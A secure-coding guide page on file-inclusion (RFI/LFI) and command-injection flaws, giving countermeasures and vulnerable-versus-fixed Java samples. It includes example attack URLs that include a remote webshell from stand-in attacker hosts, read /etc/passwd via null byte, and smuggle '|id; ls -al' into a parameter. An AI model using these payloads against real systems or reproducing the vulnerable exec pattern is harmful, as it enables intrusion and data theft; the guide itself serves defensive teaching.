NShiftKey-Rule-Guide logo NShiftKey-Rule-Guide

1. Vulnerability Description

1.1. If the file of the input path is included and processed by Server Side Script

ex 1) http://www.target.com/index.php?page=../upfile/member/attack.jpg
ex 2) http://www.target.com/index.php?page=http://attacker.com/attack.gif

1.2. If the value entered is used as a parameter of function associated with the execution of system commands within the Server Side Script.

List of key special characters → ;(semicolon), |(pipe), &(ampersand), `(back quotation-mark)
(ex) http://www.target.com/technote/main.cgi?cmd=down&file=a.jpg|id; ls -al

1.3. RFI & LFI Vulnerabilities (Remote File Inclusion & Local File Inclusion)

<?php
   if (isset($_GET['COLOR'])) {
      include($_GET['COLOR'] . '.php');
   }
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>
ex 1) http://www.target.com/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?
ex 2) http://www.target.com/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit
ex 3) http://www.target.com/vulnerable.php?COLOR=C:\\notes.txt%00
ex 4) http://www.target.com/vulnerable.php?COLOR=/etc/passwd%00

2. How to check vulnerability

3. Vulnerability Countermeasure

3.1. Validation of input values

3.2 External URL Opening Limit Setting

3.3. Programming input values not to be used as paramters for the following functions

include(), include_one(), require(), require_once(), fopen(), file(), file_get_contents()
exec(), shell_exec(), system(), eval(), passthru(), preg_replace()
Language Weak function
C system(), exec(), strcpy(), strcat(), sprintf(), etc
Java system.* (system.runtime), etc
Perl open(), sysopen(), glob(), system(), etc
PHP require(), include(), eval(), exec(), passthru(), system(), fopen(), etc
Python exec(), eval(), execfile(), compile(), input(), etc

3.4 Restrictions on Remote Command Execution Using RFI & LFI Vulnerabilities

str_replace(".", "", $path);
str_replace("/", "", $filename);
...
allow_url_fopen = Off
allow_url_include = Off
display_errors = Off
...

4. Sample Code

...
public void f() throws IOException {
    Properties props = new Properties();
    String fileName = "file_list";
    FileInputStream in = new FileInputStream(fileName);
    props.load(in);
    String version = props.getProperty("dir_type");
    String cmd = new String("cmd.exe /K \"rmanDB.bat \"");
    Runtime.getRuntime().exec(cmd + " c:\\prog_cmd\\" + version);
    ...
}
...
public void f() throws IOException {
    Properties props = new Properties();
    String fileName = "file_list";
    FileInputStream in = new FileInputStream(fileName);
    props.load(in);
    String version[] = {"1.0" , "1.1"};
    int versionSelection = Integer.parseInt(props.getProperty("version"));
    String cmd = new String("cmd.exe /K \"rmanDB.bat \"");
    String vs = "";
 
    // select a value from the list specified by the external input value.
    if (versionSelection == 0)
        vs = version[0];
    else if (versionSelection == 1)
        vs = version[1];
    else
        vs = version[1];
    Runtime.getRuntime().exec(cmd + " c:\\prog_cmd\\" + vs);
    ...
}